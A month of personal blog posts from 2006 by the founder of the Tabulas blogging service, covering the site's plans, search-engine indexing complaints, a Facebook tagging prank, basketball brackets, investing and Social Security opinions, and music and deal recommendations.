Posted by roy on March 15, 2006 at 01:56 PM in Web Development, Tabulas | 3 Comments

Happy 3rd birthday, Tabulas.

Like a child growing up, Tabulas will soon be going through the ackward adolescence of its virtual existence, where it tries to find its role and purpose on the web.

One of the most common questions I get is: "Why don't you take on VC funding?" There was a short answer ("I don't need it") and a long answer ("I need to be able to control the future of Tabulas, even if it goes against commercial interests. Vested commercial interests don't necessarily jibe with what I want to accomplish with this site in its early stages.").

In a sense, I always approached my role in Tabulas as a craftsman. I wasn't concerned with putting out the most commercially viable site; I was far more interested in appealing to my own standards. I was never too concerned with the number of patron accounts, or the total usage. If 20 people used a site that I considered to be a great quality, I would still consider that site a success. Likewise, 50,000 people using a site that I consider crappy is a failure (and I've written about that before). I wanted to create something beautiful that people would appreciate - I didn't want to immediately be swept up by the rivers of commercialism; I wanted to spend my time in the small pond, relaxing and building something cool.

Well, it's been three years. So much has happened since then (two versions), and a third is on its way. I do see the light at the end of the tunnel in terms of what I want to accomplish with Tabulas in terms of usability, featureset, and maintenance.

So what's next? Unfortunately, I do have to address the commercial aspect of Tabulas, and to that end, I've automated the billing so I don't have to deal with it.

Once Tabulas 3.0 launches, I'll probably be referring to it a lot less as a project and more as "my enterprise" (I still hate using the word 'company'). I'll be more aggressive in marketing the site, promoting it, and trying to deal with cash flow (and generally trying to get a positive cash flow). My main issue now is that I hate promoting a product I think is sub-par, even if that product is mine, so I try not to promote it too heavily. Once I get a level of product out that I feel comfortable with, I'll promote it and commercialize it.

I want Tabulas to live for a while. I've seen it add value to people's lives and in the way we interact - I think I'd be a vastly different person if I didn't have contact with the people I read and interact with on a daily basis on my Tabulas. To everybody who pays and uses Tabulas, I owe it to them to ensure that Tabulas has a strong financial outlook.

So the goal for this upcoming year of Tabulas: Release a product I'm comfortable with promoting, push people to actually pay for it, and treat Tabulas more like a business. I owe it to everybody to make sure Tabulas has a long and healthy future. In general, I see far too many sites that are being release prematurely and being promoted selflessly without a polished featureset - I do not want Tabulas to fall into that category. I want people to look at it and go, "Wow, what a steady and impressive job Roy's done by just trucking through the various iterations of Tabulas, all in the effort of creating a truly valuable product to people."

It's time for Tabulas to grow up.

Do you have any Tabulas stories you'd wish to share? I'd be interested in hearing if Tabulas has had (any) positive impact on your life :)

Currently listening to: Relient K - Who I Am (Hates Who I've Been)
Posted by roy on March 15, 2006 at 09:43 PM in Tabulas | 19 Comments

I didn't want to fill out a bracket this year, so I just helped my sister with hers. Basically if I filled out my bracket, it'd look like this (I'm starting from the Sweet 16):

Atlanta: Duke over LSU, Texas over Iowa; Texas over Duke
Oakland: Kansas over Memphis, UCLA over San Diego State; UCLA over Kansas
Washington DC: UConn over Illinois; UNC over Wichita: UConn over UNC (the big caveat is that UNC is my sentimental choice: Maurice Ager scares the living daylights out of me)
Minneapolis: Nova over BC, Ohio State over Florida; Ohio State over Nova

UConn over Ohio State, UCLA over Texas: UConn over UCLA

By the way, I have a major complaint against UNC's seeding... why did we get seeded 3 in DC? We should have taken the 2 seed, and Tennesse should have taken the 3 seed.

Currently listening to: The All-American Rejects - 11:11 PM
Posted by roy on March 16, 2006 at 05:45 PM in Sports | 5 Comments

The most innovative, best Flash game ever made: Don't Shoot the Puppy. Incredibly funny.

For 2 days now, I've been transferring files to Amazon's S3 service; rest assured that your image files are now being safely backed up on Amazon's redundant, reliable system.

I still haven't decided whether to move all the images you actually see on the site to Amazon's S3 yet. I do think, however, I will move media files over to S3 for the time being.

There are going to be HUGE upgrades to image limits to Tabulas in about a week or so - we're looking at something like 100 images per free account and 1500 images per patron account for the immediate future. In the long term, it's very possible that the patron limit will be something nearly unlimited (I hate using that term) - something on the level fo 10,000 images per patron account. This is, of course, all assuming that I manage to release tools that can effectively manage that many images.

I'm happy though. I got my paycheck today, paid off my March credit card bill (which was abnormally large) and my charges on this month to date (I just like to see that $0.00 balance). It's Friday, V for Vendetta is out in theaters, and the weather is beautiful :). Now if I just head-over-heels in love with a girl, wouldn't that be the perfect way to end this week? ;)

Currently listening to: Fallout Boy - Grand Theft Autumn
Posted by roy on March 17, 2006 at 02:57 PM in Ramblings, Tabulas | 6 Comments

If you want to cause a little mischief at the Apple store, try this out:

  • Go to any of those beautiful MacBooks, PowerBooks, iMacs, whatever
  • Hold down ctrl+option+apple (the three buttons to the left of the spacebar) and 8.
  • Then while you hold down ctrl+option+apple, hit the period button repeatedly

Much to Borst's chagrin, this provided me with ample amusement last Friday while we were waiting for V for Vendetta.

(You can reverse the effect by hitting ctrl+option+option and comma, then hitting ctrl+option+apple 8 again)

What does this do? You'll have to go find out yourself ;) [it doesn't do anything dangerous or permanent, it's a keyboard shortcut for a OS X setting]

Currently listening to: Fabolous - Breathe
Posted by roy on March 19, 2006 at 08:36 PM in Ramblings | 5 Comments

Man, Bill Simmons is hilarious. His latest article has this LOL moment:

As for the Steve Nash thing: I don't think he's the MVP this season -- more on this in a second --- but the cumulative effect of the past two seasons has insured that he's going down as one of the 10 best point guards of the first 60 years, along with Magic, Isiah, Cousy, Oscar, Stockton, Tiny, KJ, Kidd and Frazier. So that's pretty cool. Plus, he found time to record that "Beautiful" song. Fantastic season all around.

If you get the joke in there, you have my deepest respect.

Currently listening to: James Blunt - You're Beautiful
Posted by roy on March 20, 2006 at 04:35 PM in Sports | 2 Comments
Posted by roy on March 21, 2006 at 05:31 PM in Tabulas | 1 Comments

My friend, Matt has a somewhat sensitive job. He keeps a blog here on Tabulas, but he'd rather not have search engines pick up his information (normal privacy concerns). So he logically set the option that Tabulas has: "Prevent search engines from crawling my site." This basically inserts a <meta name="robots" content="noindex, nofollow" /> into the header of his document, which is kindly asking search engines not to index or follow links on this particular page.

Matt recently told me that Live.com was picking up his Tabulas (my previous review on live.com here), so I went to investergate (that word sounds pretty cool, donchathink?)

Google, and Yahoo! have absolutely no problem not displaying the site, because they respect that tag. But let's check out MSN/Live.com: 3rd result.

Now, in MSN's defense, it doesn't look like they're actually crawling the site, but just indexing the link. How is this any better? The intent of nofollow,noindex is: "I don't want my stuff cached by any search engines, ever". I hope this is a bug, and not the normal operating procedure from the MSN team, otherwise I'm going to be very dissappointed. Why would you completely disrespect a golden standard that web publishers and search engines have both been supporting for years?

MSN/Microsoft, please play nice. Scoble's been doing such a good job giving you guys positive karma to the developer community... just don't shaft me like this.

I may only have 14,000 URLs in MSN's database, but I have absolutely no qualms about completely blocking MSN's search bots from Tabulas if they cannot respect noindex,nofollow. I'll do it for my users.

Posted by roy on March 21, 2006 at 06:50 PM in Ramblings | 2 Comments

First off, Gattaca has cracked my top 5 movies (not sure where it stands within the top 5)... amazing film. Go see it if you haven't (or borrow it from me).

Feeling rather bored, I was wasting an ample amount of time on Facebook tonight. Apparently Facebook has been busy with that $200 million valuation building craptacular features. Naturally, I decide to upload some photos ... and as I'm uploading and tagging, I decide (in my sleep-depriven 5am mind) that it'd be hilarious if I started tagging non-sequiturs to my friends.

To begin, if you 'tag' someone to an image, it appears under their name in facebook:

The proximity of the "View more photos of me" link to your user image makes it very click-friendly. So to clarify my non-sequitur idea, *my* current "view more photos" shows these images that are tagged to "Roy Kim":

The first image represents the delicate flower that I am... *cough*. The second picture is an appeal to Naomi Watts (I tagged her as the pink figure, I am the blue figure) to fall in love with me (although I doubt she browses Facebook). The third picture is meant to counteract the girlyness in the first two pictures by showing a picture of me standing by a BIG PHALLIC BUILDING. When in doubt, phallic pictures always reinforce manliness! The point of the game is to tag images that have no relation to the user. I think that's hilarious (right now, although I'll wake up tomorrow morning and delete this post. Thank god for the delete button!)

My first victim will be Pete Robson. Pete's a hilarious guy (one of those guys who's really cool, but it's just so easy to make fun of him for some things...). I have currently tagged him:

I expect retaliation. I am ready. I have also declared war on Nasty Nate (check it, NASTY!). I am thinking of proper images to use for other Facebook "friends."


Edit: I can attach multiple tags to the same location on each image... I have attached more users to the image. Now whenever a potential hottie looks at their profiles, they will be turned off by a huge picture that says: "40 YEAR OLD VIRGIN."

Currently listening to: Nada Surf - Blonde on Blonde
Posted by roy on March 22, 2006 at 03:31 AM in Foolishness | 13 Comments

A link: "My favorite business model" - this is the model Tabulas has adopted and will continue to pursue. I think it adds the most value to both users and to me. I would also add: "License your codebase to enterprises and other businesses" as Tabulas did with MyBlog (got a huge cash infusion when they paid me a fair amount to use the old Tabulas platform). That deal with them ensured Tabulas' survival in year 2 (back when I was still a student and struggling with $$$ to support Tabulas).

. . .

A preface: I know I've been writing a lot about social networking type stuff, and I apologize if you find it boring and redundant. The truth is my ideas are rarely polished; these posts are true ramblings to form which is why they seem vague and redundant from time to time. These "essays" are not refined on purpose - I find when they are raw ideas with flaws which people point out, it forces me to reevalute the situation more critically. In a sense, I throw these ideas out in the 'Net hoping for some feedback (basically getting you guys to think for me). One day, I'll start editing these posts more rigorously so the noise/ratio is a bit lower, but until that day ... apologies ;)

. . .

I've stopped visiting YouTube. It's become completely unusable. The novelty of the inline loading videos via Flash is now being adopted by other sites (as it should be, Flash videos are wonderful), so basically YouTube's only value is its vast repository of videos.

Except now I can't find anything worthwhile. When I visit "Top viewed," more than half the films on any page are anime, a Korean/Chinese/Japanese drama video, or a video of some 15-year old girl from MySpace (with a ton of views/comments/ratings because 15-year old boys are the bane of the Internet, horny bastards).

Have you seen the tagging on YouTube? It's horrific. I don't think I've found a remotely useful video via tagging yet, and the UI for YouTube is horrible. I oftentimes want to load videos in the background while I watch one video, except you can't do that without loading multiple windows. Why not let people navigate with iframes or something while viewing one video? And has related videos ever turned up anything useful?

Enough griping. This made me think in a broader sense over this obsession with providing overly-broad social networking sites.

Although it may seem this way, I actually like Facebook quite a bit (as an idea). Their implementation is getting better (showing that it's more important to release something than releasing something good), and the idea is focused enough to a demographic that I think Facebook will have success for many years to come (although I don't think it's worth $200million). I like Facebook because they tier the groups in demographics that are manageable; you don't have a flood of fringe users coming in and destroying communities.

I don't mean to sound xenophobic, but I've noticed a tendency for communities to sharply divide into one specific demographic group once it reaches a certain tipping point. Orkut is predominantly Brazilian. (There was another photo site that this phenomena occured). Although I think it's fantastic that a large number of people from Malaysia/Phillipines/SE Asia use Tabulas, I don't want people to assume that this community caters to one demographics. Livejournal's done a fantastic job of making the site not "seem" Russian, although there is a HUGE population of Russians (almost the same number as users from Russia as from the US!*). This is a gross generalization (and filled with fallacies on many levels), but social networks tend to be associated with their largest demographic group, which drives away the valuable minority.

Social networks in which this phenomena can be tracked and viewed by the end users are doomed to fail. Once people see a certain tipping point, they'll move somewhere else, and that site will become a homogeneous culture.

So how do you fight this? I think there is some value in obfuscating the whole "battlefield" view of a social networking site. Livejournal's success has been in allowing users to create their own user influence clouds (communities, their friends), so people can stay within their own sphere of influence.

But wait! This goes against the whole point of social networking, which is to find different and new viewpoints on a daily basis. Probably true. When I was an active member on Livejournal, I noticed that people very rarely ventured from their own spheres; people stayed within the confines of their friends and communities. Maybe they didn't want to meet new people (probably true). So maybe there's a tradeoff in obfuscating the whole social networking (pros: you don't get turned off by the majority, because you can't see them!) versus transparency (pro: you can find different people, assuming there are enough different types of people).

More generally, I've been watching with some amusement this whole obsession with Writely/Porting MS Office to the web. How do people expect this to actually hurt Microsoft?

The technological barriers to providing even a remotely related tool to MS Office on the web are huge. Browser support, memory support (try editing a large document in *any* Ajax application - you simply can't), the prerequisites for such a program (you need an internet connection always) makes me question the wisdom of people trying to build an Office suite on the web.

It seems to me Google's acquisition of Writely is much more basic - they want to purchase the small team that can execute well in developing and delivering an application. Furthermore, having a WYSIWYG editor is much more valuable when you look at stuff Google is doing with Google Pages, Blogger, and Gmail; having one primary WYSIWYG JS library is gonna save them time in deploying further projects and maintaining their existing projects.

This brings up my next point - collaboration. Collaboration simply isn't at a place where it's going to get people to switch their daily habits. Writely is not only be touted as the "free" MS Office on the web (by the way, why wouldn't you just download OpenOffice, isn't that free without the the requirement for being online?), but a great collaboration tool.

The biggest benefactors from collaboration tools are companies (and organizations). But a *huge* problem with these collaboration tools is that companies cannot afford to have a third party host their product somewhere else. It may be cost-effective in the short-term, but if you're a business in need of a collaboration tools, you're asking for a world of hurt if you're being hosted elsewhere. What happens with network latency issues? What happens when that service goes down? Who owns it? What about security as data is sent from your extranet to the service? Companies like Joyent, SocialText, and JotSpot are obsessed over delivering products over the web, when there are serious privacy concerns that need to be addressed.

This is partially why I'm sure MS isn't so concerned with these MS Office ports - the ability to collaborate and cheaply deploy these types of systems isn't a huge market (yet). I'm sure MS, for their next Office release, will work on developing a more collaboration-friendly version of Word. However, I'm sure it's going to be based more on private clouds rather than an open "anybody can edit" democratic wiki-type product.

Currently listening to: Nada Surf - Blonde on Blonde
Posted by roy on March 22, 2006 at 04:10 AM in Ramblings | 7 Comments

I really need to launch a journal just of links - I see so many interesting sites that I want to share, but it's really not worth writing a full entry on. At one point, I considered aggregating my links daily and putting up a post, but that's too much work. (Can you see the little gears in my head creaking forth a new feature for Tabulas?). I'll make an exception today though; I were to accidentally die tomorrow from some freak gasoline fight accident, I wouldn't want my last post to be Facebook-related.

Why did Friendster fail and MySpace succeed is excellent writing that should be a must-read for anybody who wants to build a social networking business. At one point in time, I used to consider a series of fragmented different sites that each served its purpose well to be a smart business plan. You have a site that handles photos (Flickr perhaps), a site that handles your blogging (TypePad), a site that handles your links (Delicious) ... and now I think that's absolutely rubbish. It was idealistic of me to expect that the proliferation of open standards and APIs would let this all mesh together well ... there are inklings that we're reaching a "golden age" of programming where less tech-savvy people can "plug and play" different modules together, but I think this is at least 4-5 years off. People want to play, connect, and network right now.

I think MySpace has shown us that it's far better to do a lot of things in a mediocre fashion than do a few things well. People want a digital playground without the hassle of dealing with multiple sites. This goes back to my theory that success in the business world is doing something that's "just good enough," which is why I commented that Google's Finance was a lot better than its other launchings in a business sense. A lot of the expansive features that are going into Tabulas won't compare well to Flickr, Delicious, or TypePad when viewed individually - but when you can give people one location to do everything at once... I do think there is incredible value in that.

In a sense, it's about building a platform. I want Tabulas to serve as your digital repository for anything web-related you do - blogging, image hosting, media hosting, link sharing, contacting friends. Tabulas' differs from other social networking sites in the sense that it tries to provide a long-term value (although nobody may realize it) to the user. MySpace is a great buy cause you can leverage that brand into other News Corp. holdings and generate value - Tabulas as a standalone product cannot take advantage of that vertical integration ... and must learn to make its money in some other way. I want it to make money by being a platform (whether this succeeds is another story).

A few issues I have with the danah boyd article though:

danah boyd says: "It is not about technological perfection" and generally makes an argument that people become more invested in a harder-to-use product (cognitive dissonance at work, baby!). Although I think this is definitely true for younger demographics, the argument doesn't run parallel with my personal experiences as of late, and everything I've been learning at my job and what I've been hearing from people.

My experience is that right now, people want stuff to just work. People are generally curious creatures and want to learn how to use their tools effectively. The web's been a horrible medium for UI development because of all the different practices that have been going into place - and because of this, less tech-savvy people fear change.

Hotmail's success was not in that it was a great product - it simply was the only product at the time. Friendster is similar in this method - it was the first mover in a huge market. I don't see MySpace's success as being a product of any strategic planning or superior offering - Friendster lost more than MySpace won. It amazes me how much crap people are willing to take from their computer applications - it's like they expect them to fail. I was messaging with someone today about comment spam on their blog; I apologized for the comment spam, and he was curious as to why I had apologized. I explained to him that anytime a computer program fails to live up to how it should act, that's a clear failure. This logic, to me, applies to the user interface, usability, features ... everything.

There is a Gmail of social networking tools sitting on the horizon. Facebook's starting to get their game together, and it could very well be them, except for the fact that they're a niche market. The world doesn't revolve around 18-24 year olds. It revolves around people much, much older. To provide a tool to them that is truly useful and allows them to connect ... I think that is the next big thing.

Posted by roy on March 23, 2006 at 01:57 AM in Ramblings, Tabulas | 4 Comments

It's official in my mind: We are officially living in the second .com bubble. I was so bummed out I missed the first rush, but now I'm glad I did. The first bubble, in retrospect, was far more about making a few clueless people rich than adding any real value to users.

Of course, I'm more on the "engineering" end, so the reason why this bubble kicks ass for me is the relative quantity of jobs available to me.

Although there are plenty of fluff companies out there, and the majority of them will fail, I'm excited to see all these hot new companies come out who try to make life easier for all of us.

Caterina (of Flickr fame!) writes in "It's a bad time to start a company": "Talent is scarce again. Hell, I want to find someone to write a little bit of PHP for Wench.com and I can't find anyone (Hey if you are a PHP webapp builder and have some spare cycles, email me at caterina-at-gmail). Everyone's gainfully employed, and fielding several offers.". Ben Barren echoes the sentiment: "Hell, I want to find someone to write a little bit of PHP.." - We really need someone to do some little PHP and design 'implementation' work and it's totally hard again in Melbourne too. There are 232 PHP jobs advertised on seek.com.au alone.".

I fire up my RSS aggregator, and what do I see? GeekNews owner Todd Cochrane is looking for standards-compliant web developer for his new start-up company.

I was informed today that the company I work for is looking for another XHTML/CSS/Javascript/PHP developer (but not to much avail), and Jackson's been telling me at the Blogger meetups that Lulu is also looking for some developers.

I check out Craigslist from time to time, and there's always nearly always a job posted daily that I qualify for just in the Raleigh area ...

Even now, I'm working on a freelance project for a friend of mine (whose family wants to develop a rudimentary e-commerce site for their family business online).... it is almost nearly enough that if I were to get terminated from my job (let's hope not, I love it!) I could probably pick up where I left off just on freelancing. It does make me feel a bit more secure in my job, although I can just imagine five years from now when this bubble bursts, how unprepared I'll be for joblessness.

Although, I guess I'll probably be burned out then, so it really won't matter...

Posted by roy on March 25, 2006 at 04:45 AM in Tabulas | 3 Comments

For me, my greatest strength leads to my greatness weaknesses. It sucks a lot. I wonder sometimes that striving to escape mediocrity is worth the price I'm paying ... having to deal with my weaknesses day in and day out is tiring.

. . .

I've become a dividend addict. After receiving a whopping $5 (I know! I can buy a meal from Wendy's!!!!!) from my Roth IRA, I've decided to look more into steady stocks which pay a nice dividend to offset some of my "riskier" plays. Just as a theoretical, if you find a stock that yields roughly 5% in dividends a year and has a growth of 10% (which may be possible with Merck/Pfizer given the beatings they've taken) you have an aggregate growth rate of 15% a year. In real-money terms, if you can sustain that type of growth to your portfolio over 5 years, you've doubled your money. Sick.

In the meantime, your CD which pays a whopping 4% has earned you 20%.

Question: Can I buy a basket that simply represents the DJI? I mean, I guess in theory I could buy every stock, but is there just a way for me to buy a mutual fund that's pegged to the DJI or Nasdaq? Would make the decision-making process a lot less stressful.

* Disclaimer: I am not a financial advisor, I suck at stock picking, I can only learn to read graphs and reports, don't take what I say with any advice because I probably won't even follow through, etc. etc. etc.

. . .

Dealing with all this investment type stuff with Fidelity really makes me wonder why we need the retirement portion of Social Security. At the least, I should be able to opt-out of Social Security and do it myself. Here's why:

Edit: Ok, so I had a long post with numbers, but then accounting for inflation and trying to calculate the long-term growth of the DJI over 40 years became too much work for me. All I know is that I'm going to pay $80,000 over 40 years to SS (if you make the assumption my income stays the same), and it'll take SS 17 years to pay that back. Meaning, the benefits of Social Security will be derived, for me, at the tender young age of 79. Seventy-freakin-nine?!?!?!?!? Am I even going to be able to appreciate anything at that age??? This whole thing smells like a Ponzi scheme with the government making payouts with my money right now so they can have a nice big piggy bank to finance their retarded war on drugs, war on political correctness, war on civil rights, war on blah blah blah (keep going down the list, you get the point). I would feel differently if my money, going in, was being handled by the government in a savings account directly (like if they were my employer and were handling my 401K), but it's even like that! They're just taking my money and giving it to other people!

This is not to say that I don't understand the importance in helping the disadvantaged ... or the people who really work their ass off to make ends meet. Historically, SS was very important in recovering from the Great Depression, and I still think it served a great purpose when the financial community had no transparency and access to the markets was limited. But look at things today: I can log onto Fidelity and make a trade for $20 for nearly any stock. And there's a wealth of information with research for every stock in the world at my fingertips! I simply think that investing your money into Fidelity and buying one of their mutual funds is a smarter investment in the long run (one of these days, I'll have the numbers to back it up).

What I'd like to see happen: (Most of this may already be happening)

  • Make a cut-off point; say people who are 25 and younger and in a high enough tax bracket will be forced to pay SS over their lifetime, but will derive no retirement benefits from it. Basically, we kill SS in about 35 years. It's a long-term view, sure, but does anybody who is 25 actually care about social security? It would probably avoid the political firestorms for people who are about to retire, and we could eventually get rid of it. Sorry - our generation really does have it the best and if you can't save enough to retire in 35 years, I'm sorry, but you're retarded.
  • Quit paying SS to people who were in certain tax brackets their whole life (if you're in the top 20% of the tax bracket and you can't save ... what are you spending money on?!) immediately (or in phases, whatever. Like if you're in the top 10% and you're in your 40s, no benefits for you!).
  • Anytime the government tries to tap SS to finance some more bonds, tell them NO. THAT MONEY IS NOT FOR YOU. STAY AWAY FROM THE MONEY. GOVERNMENT MONEY IS NOT FOR PORK PROJECTS TO KICKBACK TO YOUR BUDDIES.

I'm so hungry. I think I'm gonna go to Taco Bell again.

Posted by roy on March 26, 2006 at 05:44 PM in Ramblings | 16 Comments

I'll see you this weekend. Away from everything. And when I stand on that tippity-tip corner, I'm going to forcefully clear my mind of all the inane things burdening my mind as of late.

Or that's the plan, at least.

Currently listening to: Steve Nash - You're Beautiful
Posted by roy on March 28, 2006 at 01:17 AM in Ramblings | 8 Comments

The UPS guy dropped off an "URGENT Express Mail" package today. I wasn't expecting any paperwork, so I feared the worst (a few of my cease-and-desists came in this manner). I opened it and was amused to find me that Charles Schwab (the company, but maybe the man!) had send me a $100 Visa prepaid gift card (as a result of me opening up one of their credit cards and charging a $20 meal to it)!

This is interesting for a few reasons:

  • I've never seen a corporation so eager to send me money before. I mean, in the past, that stuff is always sent via regular mail.
  • Their promotion said it would take me 8-12 weeks in order get the gift card.. it's only been five weeks since I made the initial purchase! I actually paid off my whopping $20 balance on that CC the day before yesterday...

The promotion is still available; basically you use their credit card once, and they'll send you a $100 gift card. No hassle. The Schwab Visa website is easy to use as well; I just made a one-time payment and now I'll probably throw that credit card into the bottom of my desk drawer and never see it again (benefits aren't that great).

So if you want a free $100 gift card, go here.

(No, that is not a referral link, and no, I'm not making any money off of this, and yes, I'm aware this sounds a lot like spam. But come on... this is a great deal that can't be passed up! I know most of us can use that extra $100 ... with the exception of one rich bastard)

. . .

Matt forwarded me a link to Toshiba's TERRE program, which will pick up your non-working laptop, LCD screen, or pocket PC and properly dispose of it in an environmentally-friendly way. They'll also give you a free USB flash drive.

While I'm talking about broken electronics, if you have a broken Canon Powershoot, you can trade in the broken camera plus some money to upgrade to a refurb. You can upgrade from the following list:

- Pro 70, Pro 90IS, Pro 1 -- Pro 1 ($349 + tax + s&h)
- G1, G2, G3, G5, G6 -- G6 ($299 + tax + s&h)
- S10, S20, S30, S40, S45, S50, S60, S70 -- S70 ($249 + tax + s&h)
- S1 IS -- S1 IS ($149 + tax + s&h)
- S100, S110, S200, S230, S300, S330 -- S410 ($175 + tax + s&h)
- S400, S410, S500 -- S500 ($199 + tax + s&h)
- SD10, SD20 -- SD20 ($175 + tax + s&h)
- SD100, SD110, SD200, SD300 -- SD400 ($149 + tax + s&h)
- A5, A5 Zoom, A50, A10, A20, A30, A40, A60, A70 -- A510 ($99 + tax + s&H)
- A75, A80, A85, A95 -- A95 ($149 + tax + s&h)
- A100, A200, A300, A310, A400 -- A400 ($75 + tax + s&h)

Just call up 1-800-828-4040 and ask for tech support.


Posted by roy on March 28, 2006 at 05:23 PM in Ramblings | 12 Comments

This literally took me 30 minutes to set-up.

Go to this page, and click the first image. (Click on the right side of the image to advance)

The new version of Tabulas will allow you to set this up for your account with the click of a button!

nifty, huh?

The JS scripting is handled by Lightbox2.

This is exactly what well-written JS should do - plug and play across all browsers.

Currently listening to: Usher - My Boo
Posted by roy on March 29, 2006 at 08:47 PM in Tabulas | 21 Comments

Congrats to Bert for choosing UNC for b-school, congrats to Hannah for choosing UK for b-school, Linda on her internship (and the multiple offers!), Eurie for choosing Loma Linda for med school, and congrats to Jennifer on your new job!

It's awesome to see people moving on up! Good news comes in bunches, doesn't it???

Posted by roy on March 30, 2006 at 11:04 AM in Ramblings | 7 Comments

For some reason, I cannot sleep before trips. It's just a four hour drive ... and I'm not even driving, but I'm jumping with excitement. My first real vacation in a long time. The beach awaits me!

. . .

In case you haven't heard, AllOfMP3.com has released AllTunes, which allows you to pay $0.09 per song and $1.50 per album of music. It has all the popular albums ... how is it so cheap?

The site is hosted in Russia. The legality of the site was actually upheld in court - the site is perfectly legal! Whether it's legal to buy here in the States is another question ... but possession of MP3s is not illegal; distribution is. So as far as I know, AllTunes provides a very legitimate, cheap, and fast way to get all your favorite music cheap.

Apparently they do pay royalties (although not much) to the original song-writers as well... and the music files have no DRM! They are plain MP3 files... I can send them to friends, copy it to my iPod, send it to my other computers on my home network... w00t!

I'll try it next week and let you know how it is.

Have an awesome weekend, everybody!

Posted by roy on March 31, 2006 at 03:36 AM in Ramblings | 5 Comments
« 2006/02 · 2006/04 »